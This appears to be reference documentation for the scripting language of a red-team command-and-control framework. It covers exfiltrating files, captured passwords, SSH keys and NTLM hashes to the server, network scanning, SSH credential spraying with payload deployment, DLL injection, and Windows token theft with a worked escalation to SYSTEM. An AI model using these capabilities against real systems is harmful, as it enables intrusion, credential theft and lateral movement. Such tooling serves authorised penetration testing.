$> registry.write("HKCU\\SOFTWARE\\TEST1","FOO1","REG_QWORD",12345678)
True
Report
The report library is designed to enable reporting structured data to Tavern. You can use it to securely exfiltrate files, process lists, captured credentials, or screenshots from the host. Its API is still in the active development phase, so future versions of Eldritch may break tomes that rely on this API.
report.file
report.file(path: str) -> None
Reports a file from the host that an Eldritch Tome is being evaluated on (e.g. a compromised system) to Tavern. It has a 1GB size limit, and will report the file in 1MB chunks. This process happens asynchronously, so after report.file() returns there are no guarantees about when this file will be reported. This means that if you delete the file immediately after reporting it, it may not be reported at all (race condition).
report.process_list
report.process_list(list: List<Dict>) -> None
Reports a snapshot of the currently running processes on the host system. This should only be called with the entire process list (e.g. from calling process.list()), as it will replace Tavern’s current list of processes for the host with this new snapshot.
report.ssh_key
report.ssh_key(username: str, key: str) -> None
Reports a captured SSH Key credential to Tavern. It will automatically be associated with the host that the Eldritch Tome was being evaluated on.
report.user_password
report.user_password(username: str, password: str) -> None
Reports a captured username & password combination to Tavern. It will automatically be associated with the host that the Eldritch Tome was being evaluated on.
report.ntlm_hash
report.ntlm_hash(username: str, password_hash: str) -> None
Reports a captured username & ntlm hash combination to Tavern. It will automatically be associated with the host that the Eldritch Tome was being evaluated on.
report.screenshot
report.screenshot() -> None
Reports a screenshot of all screens to Tavern.
Scan
The scan library provides network discovery and port scanning tools.
scan.arp
scan.arp(target_cidrs: List<str>) -> List<Dict>
The scan.arp method is for enumerating hosts on the agent network without using TCP connect or ping.
target_cidrsmust be in a CIDR format eg.127.0.0.1/32. Domains and single IPsexample.com/127.0.0.1cannot be passed.- Must be running as
rootto use. - Not supported on Windows
Results will be in the format:
$> scan.arp(["192.168.1.1/32"])
Success
[
{ "ip": "192.168.1.1", "mac": "ab:cd:ef:01:23:45", "interface": "eno0" }
]
Failure
[]
scan.ports
scan.ports(target_cidrs: List<str>, ports: List<int>, protocol: str, timeout: int, fd_limit: Option<int>) -> List<Dict>
The scan.ports method allows users to scan TCP/UDP ports within the eldritch language. Inputs:
target_cidrsmust be in a CIDR format eg.127.0.0.1/32. Domains and single IPsexample.com/127.0.0.1cannot be passed.portscan be a list of any number of integers between 1 and 65535.protocolmust be:tcporudp. These are the only supported options.timeoutis the number of seconds a scan will wait without a response before it’s marked astimeoutfd_limitis the maximum concurrent file descriptors/sockets (defaults to 64).
Results will be in the format:
[
{ "ip": "127.0.0.1", "port": 22, "protocol": "tcp", "status": "open"},
{ "ip": "127.0.0.1", "port": 21, "protocol": "tcp", "status": "closed"},
{ "ip": "127.0.0.1", "port": 80, "protocol": "tcp", "status": "timeout"},
]
A port’s status can be open, closed, or timeout:
| State | Protocol | Meaning |
|---|---|---|
| open | tcp | Connection successful. |
| close | tcp | Connection refused. |
| timeout | tcp | Connection dropped or didn’t respond. |
| open | udp | Connection returned some data. |
| timeout | udp | Connection was refused, dropped, or didn’t respond. |
Each IP in the specified CIDR will be returned regardless of if it returns any open ports. Be mindful of this when scanning large CIDRs as it may create large return objects.
NOTE: Windows scans against localhost/127.0.0.1 can behave unexpectedly or even treat the action as malicious. Eg. scanning ports 1-65535 against windows localhost may cause the stack to overflow or process to hang indefinitely.
SSH
The ssh library provides remote command execution, file copying, and credential spray/deployment over SSH.
ssh.copy
ssh.copy(target: str, port: int, src: str, dst: str, username: str, password: Optional<str>, key: Optional<str>, key_password: Optional<str>, timeout: Optional<int>) -> str
The ssh.copy method copies a local file to a remote system.
ssh.copy will return "Success" if successful and "Failed to run handle_ssh_copy: ..." on failure.
If the connection is successful but the copy writes a file error will be returned.
ssh.copy will overwrite the remote file if it exists.
The file directory the dst file exists in must exist in order for ssh.copy to work.
ssh.deploy
ssh.deploy(ips: List<str>, credentials: List<Dict>, cmd: str, privesc_cmd: Optional<str>, payload: Optional<bytes>, payload_dst: Optional<str>, timeout: Optional<int>, retries: Optional<int>) -> List<Dict>
The ssh.deploy method deploys a payload and/or command across a set of hosts via SSH. For each target (IP address or CIDR range) the provided credentials are tried in order until one succeeds. Once authenticated, the optional payload is copied via SFTP and cmd is executed. If the effective user is not root and privesc_cmd is provided, the privilege escalation command is run before cmd.
ipsis a non-empty list of IP addresses and/or CIDR ranges (e.g.["10.0.0.1", "10.0.0.0/24"]). Each entry may include an optional SSH port usinghost:portsyntax (e.g."127.0.0.1:2222"or"10.0.0.1:2222/24"to apply port2222to every host in the range). IPv6 addresses with a port must be bracketed (e.g."[::1]:2222"). When no port is supplied the default SSH port22is used. All entries must be valid.credentialsis a non-empty list of credential dictionaries of the form{"principal": "<user>", "password": "<password>"}, attempted in order on each host.cmdis the command to run on the remote system (ideally as root).privesc_cmdis an optional privilege escalation command to run when the effective user is not root.payloadis an optionalbytesvalue containing the raw payload to copy to the remote system. It is intended to be used with readers such asfile.read(path)orassets.read(name).payload_dstis an optional remote destination path for the payload. When omitted it defaults to/tmp/payload.timeoutis the per-connection timeout in seconds applied to each SSH authentication attempt. Defaults to5and must be positive.retriesis the number of additional retry passes over the full credential list on hosts that failed to connect. Defaults to0and must be non-negative.
ssh.deploy returns a list of per-attempt result dictionaries — one row for every (ip, principal) combination actually tried. Each failed credential is recorded with the principal that was attempted and a descriptive error (including, when relevant, the server’s advertised algorithms for negotiation failures), so operators can tell exactly which credentials were rejected. Credential iteration stops on the first success per host; credentials that were not attempted (because an earlier one succeeded) are not included.
[
{
"ip": "10.0.0.1",
"status": "failed",
"principal": "admin",
"stdout": "",
"stderr": "",
"error": "authentication failed for 'admin' at 10.0.0.1:22: password authentication rejected for [email protected]:22"
},
{
"ip": "10.0.0.1",
"status": "success",
"principal": "root",
"stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
"stderr": "",
"error": ""
}
]
ssh.exec
ssh.exec(target: str, port: int, command: str, username: str, password: Optional<str>, key: Optional<str>, key_password: Optional<str>, timeout: Optional<int>) -> Dict
The ssh.exec method executes a command string on the remote host using the default shell. Stdout returns the string result from the command output. Stderr will return any errors from the SSH connection but not the command being executed. Status will be equal to the code returned by the command being run and -1 in the event that the ssh connection raises an error.
{
"stdout": "uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),128(lpadmin),132(scanner),143(docker)\n",
"stderr":"",
"status": 0
}
Sys
The sys library offers general system capabilities to retrieve context about the host environment. It provides functionalities to check the operating system, retrieve the hostname, and run native commands.
sys.exec
sys.exec(path: str, args: List<str>, disown: Optional<bool>, env_vars: Option<Dict<str, str>>, input: Option<str>) -> Dict
The sys.exec method executes a program specified with path and passes the args list.
On *nix systems disown will run the process in the background disowned from the agent. This is done through double forking.
On Windows systems disown will run the process with detached stdin and stdout such that it won’t block the tomes execution.
The env_vars will be a map of environment variables to be added to the process of the execution.
sys.exec("/bin/bash",["-c", "whoami"])
{
"stdout":"root\n",
"stderr":"",
"status":0,
}
sys.exec("/bin/bash",["-c", "ls /nofile"])
{
"stdout":"",
"stderr":"ls: cannot access '/nofile': No such file or directory\n",
"status":2,
}
sys.hostname
sys.hostname() -> String
The sys.hostname method returns a String containing the host’s hostname.
sys.info
sys.info() -> Dict
The sys.info method returns a dictionary that describes the current system’s OS. An example is below:
{
"arch": "x86_64",
"desktop_env": "Unknown: Unknown",
"distro": "Debian GNU/Linux 10 (buster)",
"platform": "PLATFORM_LINUX"
}
sys.is_bsd
sys.is_bsd() -> bool
The sys.is_bsd method returns True if on a freebsd, netbsd, or openbsd system and False on everything else.
sys.is_linux
sys.is_linux() -> bool
The sys.is_linux method returns True if on a linux system and False on everything else.
sys.is_macos
sys.is_macos() -> bool
The sys.is_macos method returns True if on a mac os system and False on everything else.
sys.is_windows
sys.is_windows() -> bool
The sys.is_windows method returns True if on a windows system and False on everything else.
sys.shell
sys.shell(cmd: str) -> Dict
The sys.shell Given a string run it in a native interpreter. On MacOS, Linux, and *nix/bsd systems this is /bin/bash -c <your command>. On Windows this is cmd /C <your command>. Stdout, stderr, and the status code will be returned to you as a dictionary with keys: stdout, stderr, status. For example:
sys.shell("whoami")
{
"stdout":"root\n",
"stderr":"",
"status":0,
}
sys.shell("ls /nofile")
{
"stdout":"",
"stderr":"ls: cannot access '/nofile': No such file or directory\n",
"status":2,
}
On Windows, if an impersonation token is active (from windows.impersonate()), sys.shell automatically spawns cmd.exe via CreateProcessWithTokenW so the child process runs as the impersonated user. This ensures whoami and network operations reflect the active token. Without an active token, it falls back to normal operation.
Template
The template library renders Jinja2 templates from strings or files using the supplied variables.
template.render_file
template.render_file(template_path: str, dst: str, args: Dict<String, Value>, autoescape: bool) -> None
The template.render_file method reads a Jinja2 template file from disk, fill in the variables using args and then write it to the destination specified.
If the destination file doesn’t exist it will be created (if the parent directory exists). If the destination file does exist it will be overwritten.
The args dictionary currently supports values of: int, str, and List.
autoescape when True will perform HTML character escapes according to the OWASP XSS guidelines
template.render
template.render(template: str, args: Dict<String, Value>, autoescape: bool) -> str
Rather than reading a Jinja2 template file from disk, template.render accepts a Jinja2 template string directly, renders it using the provided args, and returns the result as a string.
autoescape when True will perform HTML character escapes according to the OWASP XSS guidelines
template_text = "Hello, !\n"
result = template.render(template_text, {"name": "world"}, True)
Time
The time library contains general functions for obtaining and formatting the current system time. It allows you to convert between timestamps and readable strings, or introduce execution delays using sleep.
time.to_epoch
time.to_epoch(input: str, format: str) -> int
The time.to_epoch method returns the seconds since epoch for the given UTC timestamp of the provided format. Input must include date and time components.
Some common formatting methods are:
- “%Y-%m-%d %H:%M:%S” (24 Hour Time)
- “%Y-%m-%d %I:%M:%S %P” (AM/PM)
For reference on all available format specifiers, see https://docs.rs/chrono/latest/chrono/format/strftime/index.html
time.format
time.format(input: int, format: str) -> str
The time.format method returns the timestamp in the provided format of the provided UTC timestamp.
Some common formatting methods are:
- “%Y-%m-%d %H:%M:%S” (24 Hour Time)
- “%Y-%m-%d %I:%M:%S %P” (AM/PM)
For reference on all available format specifiers, see https://docs.rs/chrono/latest/chrono/format/strftime/index.html
time.now
time.now() -> int
The time.now method returns the time since UNIX EPOCH (Jan 01 1970). This uses the local system time.
time.sleep
time.sleep(secs: float)
The time.sleep method sleeps the task for the given number of seconds.
User
The user library provides methods to inspect the current user and enumerate user accounts on the system.
user.info
user.info() -> Dict
The user.info method returns a dictionary that describes the current process’s running user. On *Nix, will return UID, EUID, GID, EGID, and detailed user info for the UID and EUID mappings. For users, will return name and groups of user.
{
"uid": {
"uid": 0,
"name": "root",
"gid": 0,
"groups": ["root"]
},
"euid": {
"uid": 0,
"name": "root",
"gid": 0,
"groups": ["root"]
},
"gid": 0,
"egid": 0
}
user.list
user.list() -> List<Dict>
The user.list method lists all user accounts on the system.
Windows
The windows library provides Windows-specific capabilities including DLL injection and reflection, and token manipulation.
windows.dll_inject
windows.dll_inject(dll_path: str, pid: int) -> None
The windows.dll_inject method will attempt to inject a dll on disk into a remote process by using the CreateRemoteThread function call.
windows.dll_reflect
windows.dll_reflect(dll_bytes: List<int>, pid: int, function_name: str) -> None
The windows.dll_reflect method will attempt to inject a dll from memory into a remote process by using the loader defined in realm/bin/reflective_loader.
For Imix DLLs, set function_name to lib_entry.
The ints in dll_bytes will be cast down from int u32 —> u8 in rust.
If your dll_bytes array contains a value greater than u8::MAX it will cause the function to fail. If you’re doing any decryption in starlark make sure to be careful of the u8::MAX bound for each byte.
windows.impersonate
windows.impersonate(pid: int) -> int
The windows.impersonate method steals a token from a target process by PID and impersonates it. Returns the token store ID and automatically activates the token.
Requires SeDebugPrivilege to open other users’ process tokens.
$> windows.tokens()
| active | id | process | source | user |
| ------ | -- | -------- | ------------- | -------------------- |
| True | 0 | imix.exe | process_token | DOMAIN\Administrator |
# find SYSTEM process PID (ex. winlogon)
for p in process.list():
if 'winlogon' in p['name'].lower():
print(p['pid'], p['name'])
676 winlogon.exe
# check if the current process has SeDebugPrivilege
$> "SeDebugPrivilege=enabled" in windows.tokens(process.info()['pid'])[0]['privileges']
True
$> windows.impersonate(676)
1
$> windows.tokens()
| active | id | process | source | user |
| ------ | -- | -------------- | ------------------- | -------------------- |
| False | 0 | imix.exe | process_token | DOMAIN\Administrator |
| True | 1 | winlogon.exe | impersonate:pid:676 | NT AUTHORITY\SYSTEM |
$> sys.shell('whoami')
nt authority\system
windows.tokens
windows.tokens(pid: Option<int>) -> List<Dict>
The windows.tokens method lists tokens. With no arguments, returns all tokens in the global store. With a PID, returns the process token info including user and privileges.
The first time windows.tokens is run, it enumerates all tokens and pulls the users and process names. Subsequent calls with no new tokens pulls the information from the store.
Stored tokens (no args): Each dict has active (bool), id (int), process (str), source (str), and user (str). The default process token has an ID of 0, source of "process_token", displays the current user, and begins active.
Process tokens (with pid): Each dict has user (str, e.g. "CORP\\admin"), pid (int), privileges (list of "PrivilegeName=enabled|disabled").
$> windows.tokens()
| active | id | process | source | user |
| ------ | -- | -------- | ------------- | -------------------- |
| True | 0 | imix.exe | process_token | DOMAIN\Administrator |
$> pprint(windows.tokens(pid=700)) # ex. winlogon.exe
[
{
"pid": 700,
"privileges": [
"SeAssignPrimaryTokenPrivilege=disabled",
"SeIncreaseQuotaPrivilege=disabled",
"SeTcbPrivilege=enabled",
"SeSecurityPrivilege=disabled",
"SeTakeOwnershipPrivilege=disabled",
"SeLoadDriverPrivilege=disabled",
"SeProfileSingleProcessPrivilege=enabled",
"SeIncreaseBasePriorityPrivilege=enabled",
"SeCreatePermanentPrivilege=enabled",
"SeBackupPrivilege=disabled",
"SeRestorePrivilege=disabled",
"SeShutdownPrivilege=disabled",
"SeDebugPrivilege=enabled",
"SeAuditPrivilege=enabled",
"SeSystemEnvironmentPrivilege=disabled",
"SeChangeNotifyPrivilege=enabled",
"SeUndockPrivilege=disabled",
"SeManageVolumePrivilege=disabled",
"SeImpersonatePrivilege=enabled",
"SeCreateGlobalPrivilege=enabled",
"SeTrustedCredManAccessPrivilege=disabled"
],
"user": "NT AUTHORITY\\SYSTEM"
}
]
windows.use_token
windows.use_token(id: int) -> bool
The windows.use_token method activates a stored token by ID. Deactivates any currently active token and applies the specified one to the beacon.
ID 0 is the process token (original identity). windows.use_token(0) reverts to base permissions.
For this example, assume PID 6767 is running as SYSTEM and the base process token is running as Administrator.
$> windows.tokens()
| active | id | process | source | user |
| ------ | -- | -------------- | -------------------- | -------------------- |
| False | 0 | imix.exe | process_token | DOMAIN\Administrator |
| True | 1 | winlogon.exe | impersonate:pid:6767 | NT AUTHORITY\SYSTEM |
$> sys.shell('whoami')['stdout']
nt authority\system
$> windows.use_token(0)
True
$> windows.tokens()
| active | id | process | source | user |
| ------ | -- | -------------- | -------------------- | -------------------- |
| True | 0 | imix.exe | process_token | DOMAIN\Administrator |
| False | 1 | winlogon.exe | impersonate:pid:6767 | NT AUTHORITY\SYSTEM |
$> sys.shell('whoami')['stdout']
domain\administrator
Feedback
Was this page helpful?
Glad to hear it! Please tell us how we can improve.
Sorry to hear that. Please tell us how we can improve.